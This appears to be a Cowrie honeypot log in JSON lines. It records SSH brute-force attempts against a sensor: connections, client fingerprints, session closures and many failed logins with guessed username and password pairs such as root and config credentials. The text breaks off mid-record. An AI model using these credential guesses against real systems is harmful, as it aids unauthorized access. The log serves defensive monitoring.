{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:15:27.343588Z","src_ip":"91.92.42.133","session":"5ad529407442","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.8","message":"Connection lost after 6.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:15:27.906473Z","src_ip":"91.92.40.171","session":"46cc45ffe27e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:15:28.072813Z","src_ip":"91.92.40.171","session":"5c4872722acb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo17","password":"odoo","message":"login attempt [odoo17/odoo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:15:28.544526Z","src_ip":"91.92.42.133","session":"5ad529407442","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:15:29.725566Z","src_ip":"91.92.42.133","session":"5ad529407442","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.27917170524597,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:15:32.997251Z","src_ip":"128.199.8.54","session":"e8eae87ba77e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":48202,"dst_ip":"159.203.135.109","dst_port":22,"session":"353c84ca4ff5","protocol":"ssh","message":"New connection: 91.92.40.171:48202 (159.203.135.109:22) [session: 353c84ca4ff5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:15:33.007408Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:15:33.060277Z","src_ip":"91.92.40.171","session":"353c84ca4ff5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:15:33.674468Z","src_ip":"91.92.40.171","session":"353c84ca4ff5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":33378,"dst_ip":"159.203.135.109","dst_port":22,"session":"5d54f85ae690","protocol":"ssh","message":"New connection: 91.92.42.133:33378 (159.203.135.109:22) [session: 5d54f85ae690]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:15:34.259522Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:15:34.852939Z","src_ip":"91.92.42.133","session":"5d54f85ae690","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:15:34.859646Z","src_ip":"91.92.42.133","session":"5d54f85ae690","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"config","password":"config","message":"login attempt [config/config] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:15:36.218235Z","src_ip":"91.92.42.133","session":"5d54f85ae690","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"core","password":"1qaz2wsx","message":"login attempt [core/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:15:36.316509Z","src_ip":"91.92.40.171","session":"353c84ca4ff5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":42774,"dst_ip":"159.203.135.109","dst_port":22,"session":"09a8f7625ae7","protocol":"ssh","message":"New connection: 91.92.40.171:42774 (159.203.135.109:22) [session: 09a8f7625ae7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:15:37.336957Z"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:15:37.364588Z","src_ip":"91.92.42.133","session":"5d54f85ae690","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:15:37.774656Z","src_ip":"91.92.40.171","session":"09a8f7625ae7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:15:37.778207Z","src_ip":"91.92.40.171","session":"09a8f7625ae7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.3","message":"Connection lost after 5.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:15:38.345390Z","src_ip":"91.92.40.171","session":"353c84ca4ff5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"splunk","password":"password","message":"login attempt [splunk/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:15:38.842824Z","src_ip":"91.92.40.171","session":"09a8f7625ae7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":40426,"dst_ip":"159.203.135.109","dst_port":22,"session":"d9557d43cc74","protocol":"ssh","message":"New connection: 87.251.79.125:40426 (159.203.135.109:22) [session: d9557d43cc74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:15:39.653530Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:15:39.657560Z","src_ip":"87.251.79.125","session":"d9557d43cc74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:15:39.728311Z","src_ip":"87.251.79.125","session":"d9557d43cc74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fcsm1922","message":"login attempt [root/fcsm1922] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:15:39.941916Z","src_ip":"87.251.79.125","session":"d9557d43cc74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:15:40.004261Z","src_ip":"91.92.40.171","session":"09a8f7625ae7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:15:41.016685Z","src_ip":"87.251.79.125","session":"d9557d43cc74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":50916,"dst_ip":"159.203.135.109","dst_port":22,"session":"15f7aad33689","protocol":"ssh","message":"New connection: 91.92.42.133:50916 (159.203.135.109:22) [session: 15f7aad33689]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:15:42.340252Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:15:42.606548Z","src_ip":"91.92.42.133","session":"15f7aad33689","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:15:42.610312Z","src_ip":"91.92.42.133","session":"15f7aad33689","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":42844,"dst_ip":"159.203.135.109","dst_port":22,"session":"1580a6aa1904","protocol":"ssh","message":"New connection: 91.92.40.171:42844 (159.203.135.109:22) [session: 1580a6aa1904]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:15:43.315562Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:15:43.441391Z","src_ip":"91.92.40.171","session":"1580a6aa1904","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:15:43.445029Z","src_ip":"91.92.40.171","session":"1580a6aa1904","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"Ab123456","message":"login attempt [alex/Ab123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:15:44.054443Z","src_ip":"91.92.42.133","session":"15f7aad33689","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"data","password":"test","message":"login attempt [data/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:15:44.213331Z","src_ip":"91.92.40.171","session":"1580a6aa1904","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:15:45.261204Z","src_ip":"91.92.42.133","session":"15f7aad33689","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:15:45.496059Z","src_ip":"91.92.40.171","session":"1580a6aa1904","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":33110,"dst_ip":"159.203.135.109","dst_port":22,"session":"51016238b103","protocol":"ssh","message":"New connection: 91.92.40.171:33110 (159.203.135.109:22) [session: 51016238b103]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:15:48.964140Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:15:49.126203Z","src_ip":"91.92.40.171","session":"51016238b103","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:15:49.134282Z","src_ip":"91.92.40.171","session":"51016238b103","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"123","message":"login attempt [claude/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:15:49.878067Z","src_ip":"91.92.40.171","session":"51016238b103","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":60668,"dst_ip":"159.203.135.109","dst_port":22,"session":"20a69ae0bad9","protocol":"ssh","message":"New connection: 91.92.42.133:60668 (159.203.135.109:22) [session: 20a69ae0bad9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:15:50.887503Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:15:50.891937Z","src_ip":"91.92.42.133","session":"20a69ae0bad9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","